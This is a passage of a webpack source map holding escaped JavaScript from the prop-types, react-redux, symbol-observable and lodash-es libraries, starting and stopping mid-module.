manualPropTypeCallCache[cacheKey] = true;\n            manualPropTypeWarningCount++;\n          }\n        }\n      }\n      if (props[propName] == null) {\n        if (isRequired) {\n          if (props[propName] === null) {\n            return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required ' + ('in `' + componentName + '`, but its value is `null`.'));\n          }\n          return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required in ' + ('`' + componentName + '`, but its value is `undefined`.'));\n        }\n        return null;\n      } else {\n        return validate(props, propName, componentName, location, propFullName);\n      }\n    }\n\n    var chainedCheckType = checkType.bind(null, false);\n    chainedCheckType.isRequired = checkType.bind(null, true);\n\n    return chainedCheckType;\n  }\n\n  function createPrimitiveTypeChecker(expectedType) {\n    function validate(props, propName, componentName, location, propFullName, secret) {\n      var propValue = props[propName];\n      var propType = getPropType(propValue);\n      if (propType !== expectedType) {\n        // `propValue` being instance of, say, date/regexp, pass the 'object'\n        // check, but we can offer a more precise error message here rather than\n        // 'of type `object`'.\n        var preciseType = getPreciseType(propValue);\n\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + preciseType + '` supplied to `' + componentName + '`, expected ') + ('`' + expectedType + '`.'));\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createAnyTypeChecker() {\n    return createChainableTypeChecker(emptyFunctionThatReturnsNull);\n  }\n\n  function createArrayOfTypeChecker(typeChecker) {\n    function validate(props, propName, componentName, location, propFullName) {\n      if (typeof typeChecker !== 'function') {\n        return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside arrayOf.');\n      }\n      var propValue = props[propName];\n      if (!Array.isArray(propValue)) {\n        var propType = getPropType(propValue);\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an array.'));\n      }\n      for (var i = 0; i < propValue.length; i++) {\n        var error = typeChecker(propValue, i, componentName, location, propFullName + '[' + i + ']', ReactPropTypesSecret);\n        if (error instanceof Error) {\n          return error;\n        }\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createElementTypeChecker() {\n    function validate(props, propName, componentName, location, propFullName) {\n      var propValue = props[propName];\n      if (!isValidElement(propValue)) {\n        var propType = getPropType(propValue);\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement.'));\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createInstanceTypeChecker(expectedClass) {\n    function validate(props, propName, componentName, location, propFullName) {\n      if (!(props[propName] instanceof expectedClass)) {\n        var expectedClassName = expectedClass.name || ANONYMOUS;\n        var actualClassName = getClassName(props[propName]);\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + actualClassName + '` supplied to `' + componentName + '`, expected ') + ('instance of `' + expectedClassName + '`.'));\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createEnumTypeChecker(expectedValues) {\n    if (!Array.isArray(expectedValues)) {\n      process.env.NODE_ENV !== 'production' ? printWarning('Invalid argument supplied to oneOf, expected an instance of array.') : void 0;\n      return emptyFunctionThatReturnsNull;\n    }\n\n    function validate(props, propName, componentName, location, propFullName) {\n      var propValue = props[propName];\n      for (var i = 0; i < expectedValues.length; i++) {\n        if (is(propValue, expectedValues[i])) {\n          return null;\n        }\n      }\n\n      var valuesString = JSON.stringify(expectedValues);\n      return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of value `' + propValue + '` ' + ('supplied to `' + componentName + '`, expected one of ' + valuesString + '.'));\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createObjectOfTypeChecker(typeChecker) {\n    function validate(props, propName, componentName, location, propFullName) {\n      if (typeof typeChecker !== 'function') {\n        return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside objectOf.');\n      }\n      var propValue = props[propName];\n      var propType = getPropType(propValue);\n      if (propType !== 'object') {\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an object.'));\n      }\n      for (var key in propValue) {\n        if (propValue.hasOwnProperty(key)) {\n          var error = typeChecker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);\n          if (error instanceof Error) {\n            return error;\n          }\n        }\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createUnionTypeChecker(arrayOfTypeCheckers) {\n    if (!Array.isArray(arrayOfTypeCheckers)) {\n      process.env.NODE_ENV !== 'production' ? printWarning('Invalid argument supplied to oneOfType, expected an instance of array.') : void 0;\n      return emptyFunctionThatReturnsNull;\n    }\n\n    for (var i = 0; i < arrayOfTypeCheckers.length; i++) {\n      var checker = arrayOfTypeCheckers[i];\n      if (typeof checker !== 'function') {\n        printWarning(\n          'Invalid argument supplied to oneOfType. Expected an array of check functions, but ' +\n          'received ' + getPostfixForTypeWarning(checker) + ' at index ' + i + '.'\n        );\n        return emptyFunctionThatReturnsNull;\n      }\n    }\n\n    function validate(props, propName, componentName, location, propFullName) {\n      for (var i = 0; i < arrayOfTypeCheckers.length; i++) {\n        var checker = arrayOfTypeCheckers[i];\n        if (checker(props, propName, componentName, location, propFullName, ReactPropTypesSecret) == null) {\n          return null;\n        }\n      }\n\n      return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`.'));\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createNodeChecker() {\n    function validate(props, propName, componentName, location, propFullName) {\n      if (!isNode(props[propName])) {\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a ReactNode.'));\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createShapeTypeChecker(shapeTypes) {\n    function validate(props, propName, componentName, location, propFullName) {\n      var propValue = props[propName];\n      var propType = getPropType(propValue);\n      if (propType !== 'object') {\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));\n      }\n      for (var key in shapeTypes) {\n        var checker = shapeTypes[key];\n        if (!checker) {\n          continue;\n        }\n        var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);\n        if (error) {\n          return error;\n        }\n      }\n      return null;\n    }\n    return createChainableTypeChecker(validate);\n  }\n\n  function createStrictShapeTypeChecker(shapeTypes) {\n    function validate(props, propName, componentName, location, propFullName) {\n      var propValue = props[propName];\n      var propType = getPropType(propValue);\n      if (propType !== 'object') {\n        return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));\n      }\n      // We need to check all keys in case some are required but missing from\n      // props.\n      var allKeys = assign({}, props[propName], shapeTypes);\n      for (var key in allKeys) {\n        var checker = shapeTypes[key];\n        if (!checker) {\n          return new PropTypeError(\n            'Invalid ' + location + ' `' + propFullName + '` key `' + key + '` supplied to `' + componentName + '`.' +\n            '\\nBad object: ' + JSON.stringify(props[propName], null, '  ') +\n            '\\nValid keys: ' +  JSON.stringify(Object.keys(shapeTypes), null, '  ')\n          );\n        }\n        var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret);\n        if (error) {\n          return error;\n        }\n      }\n      return null;\n    }\n\n    return createChainableTypeChecker(validate);\n  }\n\n  function isNode(propValue) {\n    switch (typeof propValue) {\n      case 'number':\n      case 'string':\n      case 'undefined':\n        return true;\n      case 'boolean':\n        return !propValue;\n      case 'object':\n        if (Array.isArray(propValue)) {\n          return propValue.every(isNode);\n        }\n        if (propValue === null || isValidElement(propValue)) {\n          return true;\n        }\n\n        var iteratorFn = getIteratorFn(propValue);\n        if (iteratorFn) {\n          var iterator = iteratorFn.call(propValue);\n          var step;\n          if (iteratorFn !== propValue.entries) {\n            while (!(step = iterator.next()).done) {\n              if (!isNode(step.value)) {\n                return false;\n              }\n            }\n          } else {\n            // Iterator will provide entry [k,v] tuples rather than values.\n            while (!(step = iterator.next()).done) {\n              var entry = step.value;\n              if (entry) {\n                if (!isNode(entry[1])) {\n                  return false;\n                }\n              }\n            }\n          }\n        } else {\n          return false;\n        }\n\n        return true;\n      default:\n        return false;\n    }\n  }\n\n  function isSymbol(propType, propValue) {\n    // Native Symbol.\n    if (propType === 'symbol') {\n      return true;\n    }\n\n    // 19.4.3.5 Symbol.prototype[@@toStringTag] === 'Symbol'\n    if (propValue['@@toStringTag'] === 'Symbol') {\n      return true;\n    }\n\n    // Fallback for non-spec compliant Symbols which are polyfilled.\n    if (typeof Symbol === 'function' && propValue instanceof Symbol) {\n      return true;\n    }\n\n    return false;\n  }\n\n  // Equivalent of `typeof` but with special handling for array and regexp.\n  function getPropType(propValue) {\n    var propType = typeof propValue;\n    if (Array.isArray(propValue)) {\n      return 'array';\n    }\n    if (propValue instanceof RegExp) {\n      // Old webkits (at least until Android 4.0) return 'function' rather than\n      // 'object' for typeof a RegExp. We'll normalize this here so that /bla/\n      // passes PropTypes.object.\n      return 'object';\n    }\n    if (isSymbol(propType, propValue)) {\n      return 'symbol';\n    }\n    return propType;\n  }\n\n  // This handles more types than `getPropType`. Only used for error messages.\n  // See `createPrimitiveTypeChecker`.\n  function getPreciseType(propValue) {\n    if (typeof propValue === 'undefined' || propValue === null) {\n      return '' + propValue;\n    }\n    var propType = getPropType(propValue);\n    if (propType === 'object') {\n      if (propValue instanceof Date) {\n        return 'date';\n      } else if (propValue instanceof RegExp) {\n        return 'regexp';\n      }\n    }\n    return propType;\n  }\n\n  // Returns a string that is postfixed to a warning about an invalid type.\n  // For example, \"undefined\" or \"of type array\"\n  function getPostfixForTypeWarning(value) {\n    var type = getPreciseType(value);\n    switch (type) {\n      case 'array':\n      case 'object':\n        return 'an ' + type;\n      case 'boolean':\n      case 'date':\n      case 'regexp':\n        return 'a ' + type;\n      default:\n        return type;\n    }\n  }\n\n  // Returns class name of the object, if any.\n  function getClassName(propValue) {\n    if (!propValue.constructor || !propValue.constructor.name) {\n      return ANONYMOUS;\n    }\n    return propValue.constructor.name;\n  }\n\n  ReactPropTypes.checkPropTypes = checkPropTypes;\n  ReactPropTypes.PropTypes = ReactPropTypes;\n\n  return ReactPropTypes;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/prop-types/factoryWithTypeCheckers.js\n// module id = 116\n// module chunks = 0 1 2 3 4","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nvar printWarning = function() {};\n\nif (process.env.NODE_ENV !== 'production') {\n  var ReactPropTypesSecret = require('./lib/ReactPropTypesSecret');\n  var loggedTypeFailures = {};\n\n  printWarning = function(text) {\n    var message = 'Warning: ' + text;\n    if (typeof console !== 'undefined') {\n      console.error(message);\n    }\n    try {\n      // --- Welcome to debugging React ---\n      // This error was thrown as a convenience so that you can use this stack\n      // to find the callsite that caused this warning to fire.\n      throw new Error(message);\n    } catch (x) {}\n  };\n}\n\n/**\n * Assert that the values match with the type specs.\n * Error messages are memorized and will only be shown once.\n *\n * @param {object} typeSpecs Map of name to a ReactPropType\n * @param {object} values Runtime values that need to be type-checked\n * @param {string} location e.g. \"prop\", \"context\", \"child context\"\n * @param {string} componentName Name of the component for error messages.\n * @param {?Function} getStack Returns the component stack.\n * @private\n */\nfunction checkPropTypes(typeSpecs, values, location, componentName, getStack) {\n  if (process.env.NODE_ENV !== 'production') {\n    for (var typeSpecName in typeSpecs) {\n      if (typeSpecs.hasOwnProperty(typeSpecName)) {\n        var error;\n        // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error(\n              (componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' +\n              'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.'\n            );\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n          error = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, ReactPropTypesSecret);\n        } catch (ex) {\n          error = ex;\n        }\n        if (error && !(error instanceof Error)) {\n          printWarning(\n            (componentName || 'React class') + ': type specification of ' +\n            location + ' `' + typeSpecName + '` is invalid; the type checker ' +\n            'function must return `null` or an `Error` but returned a ' + typeof error + '. ' +\n            'You may have forgotten to pass an argument to the type checker ' +\n            'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' +\n            'shape all require an argument).'\n          )\n\n        }\n        if (error instanceof Error && !(error.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error.message] = true;\n\n          var stack = getStack ? getStack() : '';\n\n          printWarning(\n            'Failed ' + location + ' type: ' + error.message + (stack != null ? stack : '')\n          );\n        }\n      }\n    }\n  }\n}\n\nmodule.exports = checkPropTypes;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/prop-types/checkPropTypes.js\n// module id = 117\n// module chunks = 0 1 2 3 4","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nvar ReactPropTypesSecret = require('./lib/ReactPropTypesSecret');\n\nfunction emptyFunction() {}\n\nmodule.exports = function() {\n  function shim(props, propName, componentName, location, propFullName, secret) {\n    if (secret === ReactPropTypesSecret) {\n      // It is still safe when called from React.\n      return;\n    }\n    var err = new Error(\n      'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +\n      'Use PropTypes.checkPropTypes() to call them. ' +\n      'Read more at http://fb.me/use-check-prop-types'\n    );\n    err.name = 'Invariant Violation';\n    throw err;\n  };\n  shim.isRequired = shim;\n  function getShim() {\n    return shim;\n  };\n  // Important!\n  // Keep this list in sync with production version in `./factoryWithTypeCheckers.js`.\n  var ReactPropTypes = {\n    array: shim,\n    bool: shim,\n    func: shim,\n    number: shim,\n    object: shim,\n    string: shim,\n    symbol: shim,\n\n    any: shim,\n    arrayOf: getShim,\n    element: shim,\n    instanceOf: getShim,\n    node: shim,\n    objectOf: getShim,\n    oneOf: getShim,\n    oneOfType: getShim,\n    shape: getShim,\n    exact: getShim\n  };\n\n  ReactPropTypes.checkPropTypes = emptyFunction;\n  ReactPropTypes.PropTypes = ReactPropTypes;\n\n  return ReactPropTypes;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/prop-types/factoryWithThrowingShims.js\n// module id = 118\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\n// encapsulates the subscription logic for connecting a component to the redux store, as\n// well as nesting subscriptions of descendant components, so that we can ensure the\n// ancestor components re-render before descendants\n\nvar CLEARED = null;\nvar nullListeners = {\n  notify: function notify() {}\n};\n\nfunction createListenerCollection() {\n  // the current/next pattern is copied from redux's createStore code.\n  // TODO: refactor+expose that code to be reusable here?\n  var current = [];\n  var next = [];\n\n  return {\n    clear: function clear() {\n      next = CLEARED;\n      current = CLEARED;\n    },\n    notify: function notify() {\n      var listeners = current = next;\n      for (var i = 0; i < listeners.length; i++) {\n        listeners[i]();\n      }\n    },\n    get: function get() {\n      return next;\n    },\n    subscribe: function subscribe(listener) {\n      var isSubscribed = true;\n      if (next === current) next = current.slice();\n      next.push(listener);\n\n      return function unsubscribe() {\n        if (!isSubscribed || current === CLEARED) return;\n        isSubscribed = false;\n\n        if (next === current) next = current.slice();\n        next.splice(next.indexOf(listener), 1);\n      };\n    }\n  };\n}\n\nvar Subscription = function () {\n  function Subscription(store, parentSub, onStateChange) {\n    _classCallCheck(this, Subscription);\n\n    this.store = store;\n    this.parentSub = parentSub;\n    this.onStateChange = onStateChange;\n    this.unsubscribe = null;\n    this.listeners = nullListeners;\n  }\n\n  Subscription.prototype.addNestedSub = function addNestedSub(listener) {\n    this.trySubscribe();\n    return this.listeners.subscribe(listener);\n  };\n\n  Subscription.prototype.notifyNestedSubs = function notifyNestedSubs() {\n    this.listeners.notify();\n  };\n\n  Subscription.prototype.isSubscribed = function isSubscribed() {\n    return Boolean(this.unsubscribe);\n  };\n\n  Subscription.prototype.trySubscribe = function trySubscribe() {\n    if (!this.unsubscribe) {\n      this.unsubscribe = this.parentSub ? this.parentSub.addNestedSub(this.onStateChange) : this.store.subscribe(this.onStateChange);\n\n      this.listeners = createListenerCollection();\n    }\n  };\n\n  Subscription.prototype.tryUnsubscribe = function tryUnsubscribe() {\n    if (this.unsubscribe) {\n      this.unsubscribe();\n      this.unsubscribe = null;\n      this.listeners.clear();\n      this.listeners = nullListeners;\n    }\n  };\n\n  return Subscription;\n}();\n\nexport { Subscription as default };\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/utils/Subscription.js\n// module id = 119\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nimport connectAdvanced from '../components/connectAdvanced';\nimport shallowEqual from '../utils/shallowEqual';\nimport defaultMapDispatchToPropsFactories from './mapDispatchToProps';\nimport defaultMapStateToPropsFactories from './mapStateToProps';\nimport defaultMergePropsFactories from './mergeProps';\nimport defaultSelectorFactory from './selectorFactory';\n\n/*\n  connect is a facade over connectAdvanced. It turns its args into a compatible\n  selectorFactory, which has the signature:\n\n    (dispatch, options) => (nextState, nextOwnProps) => nextFinalProps\n  \n  connect passes its args to connectAdvanced as options, which will in turn pass them to\n  selectorFactory each time a Connect component instance is instantiated or hot reloaded.\n\n  selectorFactory returns a final props selector from its mapStateToProps,\n  mapStateToPropsFactories, mapDispatchToProps, mapDispatchToPropsFactories, mergeProps,\n  mergePropsFactories, and pure args.\n\n  The resulting final props selector is called by the Connect component instance whenever\n  it receives new props or store state.\n */\n\nfunction match(arg, factories, name) {\n  for (var i = factories.length - 1; i >= 0; i--) {\n    var result = factories[i](arg);\n    if (result) return result;\n  }\n\n  return function (dispatch, options) {\n    throw new Error('Invalid value of type ' + typeof arg + ' for ' + name + ' argument when connecting component ' + options.wrappedComponentName + '.');\n  };\n}\n\nfunction strictEqual(a, b) {\n  return a === b;\n}\n\n// createConnect with default args builds the 'official' connect behavior. Calling it with\n// different options opens up some testing and extensibility scenarios\nexport function createConnect() {\n  var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},\n      _ref$connectHOC = _ref.connectHOC,\n      connectHOC = _ref$connectHOC === undefined ? connectAdvanced : _ref$connectHOC,\n      _ref$mapStateToPropsF = _ref.mapStateToPropsFactories,\n      mapStateToPropsFactories = _ref$mapStateToPropsF === undefined ? defaultMapStateToPropsFactories : _ref$mapStateToPropsF,\n      _ref$mapDispatchToPro = _ref.mapDispatchToPropsFactories,\n      mapDispatchToPropsFactories = _ref$mapDispatchToPro === undefined ? defaultMapDispatchToPropsFactories : _ref$mapDispatchToPro,\n      _ref$mergePropsFactor = _ref.mergePropsFactories,\n      mergePropsFactories = _ref$mergePropsFactor === undefined ? defaultMergePropsFactories : _ref$mergePropsFactor,\n      _ref$selectorFactory = _ref.selectorFactory,\n      selectorFactory = _ref$selectorFactory === undefined ? defaultSelectorFactory : _ref$selectorFactory;\n\n  return function connect(mapStateToProps, mapDispatchToProps, mergeProps) {\n    var _ref2 = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {},\n        _ref2$pure = _ref2.pure,\n        pure = _ref2$pure === undefined ? true : _ref2$pure,\n        _ref2$areStatesEqual = _ref2.areStatesEqual,\n        areStatesEqual = _ref2$areStatesEqual === undefined ? strictEqual : _ref2$areStatesEqual,\n        _ref2$areOwnPropsEqua = _ref2.areOwnPropsEqual,\n        areOwnPropsEqual = _ref2$areOwnPropsEqua === undefined ? shallowEqual : _ref2$areOwnPropsEqua,\n        _ref2$areStatePropsEq = _ref2.areStatePropsEqual,\n        areStatePropsEqual = _ref2$areStatePropsEq === undefined ? shallowEqual : _ref2$areStatePropsEq,\n        _ref2$areMergedPropsE = _ref2.areMergedPropsEqual,\n        areMergedPropsEqual = _ref2$areMergedPropsE === undefined ? shallowEqual : _ref2$areMergedPropsE,\n        extraOptions = _objectWithoutProperties(_ref2, ['pure', 'areStatesEqual', 'areOwnPropsEqual', 'areStatePropsEqual', 'areMergedPropsEqual']);\n\n    var initMapStateToProps = match(mapStateToProps, mapStateToPropsFactories, 'mapStateToProps');\n    var initMapDispatchToProps = match(mapDispatchToProps, mapDispatchToPropsFactories, 'mapDispatchToProps');\n    var initMergeProps = match(mergeProps, mergePropsFactories, 'mergeProps');\n\n    return connectHOC(selectorFactory, _extends({\n      // used in error messages\n      methodName: 'connect',\n\n      // used to compute Connect's displayName from the wrapped component's displayName.\n      getDisplayName: function getDisplayName(name) {\n        return 'Connect(' + name + ')';\n      },\n\n      // if mapStateToProps is falsy, the Connect component doesn't subscribe to store state changes\n      shouldHandleStateChanges: Boolean(mapStateToProps),\n\n      // passed through to selectorFactory\n      initMapStateToProps: initMapStateToProps,\n      initMapDispatchToProps: initMapDispatchToProps,\n      initMergeProps: initMergeProps,\n      pure: pure,\n      areStatesEqual: areStatesEqual,\n      areOwnPropsEqual: areOwnPropsEqual,\n      areStatePropsEqual: areStatePropsEqual,\n      areMergedPropsEqual: areMergedPropsEqual\n\n    }, extraOptions));\n  };\n}\n\nexport default createConnect();\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/connect.js\n// module id = 120\n// module chunks = 0 1 2 3 4","var hasOwn = Object.prototype.hasOwnProperty;\n\nfunction is(x, y) {\n  if (x === y) {\n    return x !== 0 || y !== 0 || 1 / x === 1 / y;\n  } else {\n    return x !== x && y !== y;\n  }\n}\n\nexport default function shallowEqual(objA, objB) {\n  if (is(objA, objB)) return true;\n\n  if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {\n    return false;\n  }\n\n  var keysA = Object.keys(objA);\n  var keysB = Object.keys(objB);\n\n  if (keysA.length !== keysB.length) return false;\n\n  for (var i = 0; i < keysA.length; i++) {\n    if (!hasOwn.call(objB, keysA[i]) || !is(objA[keysA[i]], objB[keysA[i]])) {\n      return false;\n    }\n  }\n\n  return true;\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/utils/shallowEqual.js\n// module id = 121\n// module chunks = 0 1 2 3 4","import { bindActionCreators } from 'redux';\nimport { wrapMapToPropsConstant, wrapMapToPropsFunc } from './wrapMapToProps';\n\nexport function whenMapDispatchToPropsIsFunction(mapDispatchToProps) {\n  return typeof mapDispatchToProps === 'function' ? wrapMapToPropsFunc(mapDispatchToProps, 'mapDispatchToProps') : undefined;\n}\n\nexport function whenMapDispatchToPropsIsMissing(mapDispatchToProps) {\n  return !mapDispatchToProps ? wrapMapToPropsConstant(function (dispatch) {\n    return { dispatch: dispatch };\n  }) : undefined;\n}\n\nexport function whenMapDispatchToPropsIsObject(mapDispatchToProps) {\n  return mapDispatchToProps && typeof mapDispatchToProps === 'object' ? wrapMapToPropsConstant(function (dispatch) {\n    return bindActionCreators(mapDispatchToProps, dispatch);\n  }) : undefined;\n}\n\nexport default [whenMapDispatchToPropsIsFunction, whenMapDispatchToPropsIsMissing, whenMapDispatchToPropsIsObject];\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/mapDispatchToProps.js\n// module id = 122\n// module chunks = 0 1 2 3 4","/* global window */\nimport ponyfill from './ponyfill.js';\n\nvar root;\n\nif (typeof self !== 'undefined') {\n  root = self;\n} else if (typeof window !== 'undefined') {\n  root = window;\n} else if (typeof global !== 'undefined') {\n  root = global;\n} else if (typeof module !== 'undefined') {\n  root = module;\n} else {\n  root = Function('return this')();\n}\n\nvar result = ponyfill(root);\nexport default result;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/symbol-observable/es/index.js\n// module id = 123\n// module chunks = 0 1 2 3 4","module.exports = function(originalModule) {\r\n\tif(!originalModule.webpackPolyfill) {\r\n\t\tvar module = Object.create(originalModule);\r\n\t\t// module.parent = undefined by default\r\n\t\tif(!module.children) module.children = [];\r\n\t\tObject.defineProperty(module, \"loaded\", {\r\n\t\t\tenumerable: true,\r\n\t\t\tget: function() {\r\n\t\t\t\treturn module.l;\r\n\t\t\t}\r\n\t\t});\r\n\t\tObject.defineProperty(module, \"id\", {\r\n\t\t\tenumerable: true,\r\n\t\t\tget: function() {\r\n\t\t\t\treturn module.i;\r\n\t\t\t}\r\n\t\t});\r\n\t\tObject.defineProperty(module, \"exports\", {\r\n\t\t\tenumerable: true,\r\n\t\t});\r\n\t\tmodule.webpackPolyfill = 1;\r\n\t}\r\n\treturn module;\r\n};\r\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// (webpack)/buildin/harmony-module.js\n// module id = 124\n// module chunks = 0 1 2 3 4","export default function symbolObservablePonyfill(root) {\n\tvar result;\n\tvar Symbol = root.Symbol;\n\n\tif (typeof Symbol === 'function') {\n\t\tif (Symbol.observable) {\n\t\t\tresult = Symbol.observable;\n\t\t} else {\n\t\t\tresult = Symbol('observable');\n\t\t\tSymbol.observable = result;\n\t\t}\n\t} else {\n\t\tresult = '@@observable';\n\t}\n\n\treturn result;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/symbol-observable/es/ponyfill.js\n// module id = 125\n// module chunks = 0 1 2 3 4","import baseGetTag from './_baseGetTag.js';\nimport getPrototype from './_getPrototype.js';\nimport isObjectLike from './isObjectLike.js';\n\n/** `Object#toString` result references. */\nvar objectTag = '[object Object]';\n\n/** Used for built-in method references. */\nvar funcProto = Function.prototype,\n    objectProto = Object.prototype;\n\n/** Used to resolve the decompiled source of functions. */\nvar funcToString = funcProto.toString;\n\n/** Used to check objects for own properties. */\nvar hasOwnProperty = objectProto.hasOwnProperty;\n\n/** Used to infer the `Object` constructor. */\nvar objectCtorString = funcToString.call(Object);\n\n/**\n * Checks if `value` is a plain object, that is, an object created by the\n * `Object` constructor or one with a `[[Prototype]]` of `null`.\n *\n * @static\n * @memberOf _\n * @since 0.8.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is a plain object, else `false`.\n * @example\n *\n * function Foo() {\n *   this.a = 1;\n * }\n *\n * _.isPlainObject(new Foo);\n * // => false\n *\n * _.isPlainObject([1, 2, 3]);\n * // => false\n *\n * _.isPlainObject({ 'x': 0, 'y': 0 });\n * // => true\n *\n * _.isPlainObject(Object.create(null));\n * // => true\n */\nfunction isPlainObject(value) {\n  if (!isObjectLike(value) || baseGetTag(value) != objectTag) {\n    return false;\n  }\n  var proto = getPrototype(value);\n  if (proto === null) {\n    return true;\n  }\n  var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;\n  return typeof Ctor == 'function' && Ctor instanceof Ctor &&\n    funcToString.call(Ctor) == objectCtorString;\n}\n\nexport default isPlainObject;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/isPlainObject.js\n// module id = 126\n// module chunks = 0 1 2 3 4","import Symbol from './_Symbol.js';\nimport getRawTag from './_getRawTag.js';\nimport objectToString from './_objectToString.js';\n\n/** `Object#toString` result references. */\nvar nullTag = '[object Null]',\n    undefinedTag = '[object Undefined]';\n\n/** Built-in value references. */\nvar symToStringTag = Symbol ? Symbol.toStringTag : undefined;\n\n/**\n * The base implementation of `getTag` without fallbacks for buggy environments.\n *\n * @private\n * @param {*} value The value to query.\n * @returns {string} Returns the `toStringTag`.\n */\nfunction baseGetTag(value) {\n  if (value == null) {\n    return value === undefined ? undefinedTag : nullTag;\n  }\n  return (symToStringTag && symToStringTag in Object(value))\n    ? getRawTag(value)\n    : objectToString(value);\n}\n\nexport default baseGetTag;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_baseGetTag.js\n// module id = 127\n// module chunks = 0 1 2 3 4","import freeGlobal from './_freeGlobal.js';\n\n/** Detect free variable `self`. */\nvar freeSelf = typeof self == 'object' && self && self.Object === Object && self;\n\n/** Used as a reference to the global object. */\nvar root = freeGlobal || freeSelf || Function('return this')();\n\nexport default root;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_root.js\n// module id = 128\n// module chunks = 0 1 2 3 4","/** Detect free variable `global` from Node.js. */\nvar freeGlobal = typeof global == 'object' && global && global.Object === Object && global;\n\nexport default freeGlobal;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_freeGlobal.js\n// module id = 129\n// module chunks = 0 1 2 3 4","import Symbol from './_Symbol.js';\n\n/** Used for built-in method references. */\nvar objectProto = Object.prototype;\n\n/** Used to check objects for own properties. */\nvar hasOwnProperty = objectProto.hasOwnProperty;\n\n/**\n * Used to resolve the\n * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)\n * of values.\n */\nvar nativeObjectToString = objectProto.toString;\n\n/** Built-in value references. */\nvar symToStringTag = Symbol ? Symbol.toStringTag : undefined;\n\n/**\n * A specialized 